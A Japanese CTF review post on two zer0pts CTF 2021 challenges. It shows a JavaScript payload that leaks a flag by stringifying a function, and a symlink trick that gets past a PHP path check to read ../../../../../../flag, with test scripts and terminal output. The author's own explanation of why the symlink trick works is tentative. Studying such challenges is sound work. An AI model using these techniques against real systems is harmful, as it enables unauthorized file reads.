「復習」zer0pts CTF
初めに
Writeupが読みたい方はこちらの参考リンク先の方を見ていただいた方が良いと思われます、、!
CTFtime.org / zer0pts CTF 2021 / Kantan Calc / Writeup
zer0pts CTF 2021 - Kantan Calc · Issue #22 · aszx87410/ctf-writeups · GitHub
Kantan Calc (zer0pts CTF)
最終的に次を作成することを目指す。
(function () { return (a)=>()=>(a+"")[0]})()(()=>{; /* ${FLAG} */ })()
まず関数をtoString()
をすることで、文字列として出力できる。
> function a() {} undefined > console.log(a+'') function a() {}
arguments.callee
で関数自身を呼ぶことができるので、次のようにかける
> a =(function(){return arguments.callee.toString()}) [Function: a] > a() 'function(){return arguments.callee.toString()}' > (function(){return arguments.callee.toString()})() 'function(){return arguments.callee.toString()}'
この例のカッコの使い方は次を見るとわかりやすい
> (function(){return 'test'})() 'test' > a=(function(){return 'test'}) [Function: a] > a() 'test'
()
を末尾につけることで定義した関数をすぐ呼びさせている。
次にアロー関数の解釈。
JavaScript/関数/アロー関数 [Ore Base]
安直に理解しようとするなら今回目指す形は引数を2つ取れるような書き方をしていると解釈できる。
> (function () { return (a)=>(b)=>(a+b)})() ('test')('1111') 'test1111' > (function () { return (a)=>(b)=>(a+b)})() ('test')() 'testundefined'
あとは、引数 a にフラグが含まれている部分を関数()=>{; /* ${FLAG} */ }
として渡すことで、a+''
=a.toString()
を実現し、フラグを返している。
問題ではフラグのプレフィックスが含まれているとフィルターされるので、配列として1文字ずつ返却するようにしているようです。
GuestFS:AFR (zer0pts CTF)
シンボリックリンクとファイル作成をできるサイトで、ルートにあるフラグファイルを表示させる問題。 問題のキーとなる箇所はここ
/* Target file must exist */ $this->assert_file_exists($this->root.$target); /* Create a symbolic link */ @symlink($target, $this->root.$name); /* This check ensures $target points to inside user-space */ try { $this->validate_filepath(@readlink($this->root.$name)); } catch(Exception $e) { /* Revert changes */ @unlink($this->root.$name); throw $e; }
validate_filepath
はファイルパスがルートを示していたり、..
でパストラバーサルしていないかチェックしている。
解法はまず、以下の関係のファイルとシンボリックリンクを作成
A->B
Bを削除して、A->../../../../../../flag
のシンボリックリンクを作成すると、../../../../../../flag
を指したB
が作成されて、フラグが読める。
A->B->../../../../../../flag
恐らく、A->../../../../../../flag
の処理をPHP
の関数で呼び出すと、A
が保持しているB
のパス名が読まれて、最終的にln -s ../../../../../../flag B
と同じ命令が実行されるんじゃないかなと予想。
この時B
をあらかじめ削除していければln -s ../../../../../../flag B
は存在するファイル名B
を指定しているためエラーが発生する。ので、あらかじめB
を削除する処理を挟む必要があったんじゃないかな..?
試しにphp実行
削除なしの場合
削除ありの場合
<?php // creating alink using symlink() function symlink('A', 'B'); unlink('A'); symlink('flag','B'); ?>
kali@kali:~/ctf/zero/sql/test$ ls A exp2.php exp.php flag kali@kali:~/ctf/zero/sql/test$ php exp.php kali@kali:~/ctf/zero/sql/test$ ls A B exp2.php exp.php flag kali@kali:~/ctf/zero/sql/test$ readlink A flag
<?php // creating alink using symlink() function symlink('A', 'B'); // unlink('A'); symlink('flag','B'); ?>
kali@kali:~/ctf/zero/sql/test$ php exp2.php PHP Warning: symlink(): File exists in /home/kali/ctf/zero/sql/test/exp2.php on line 6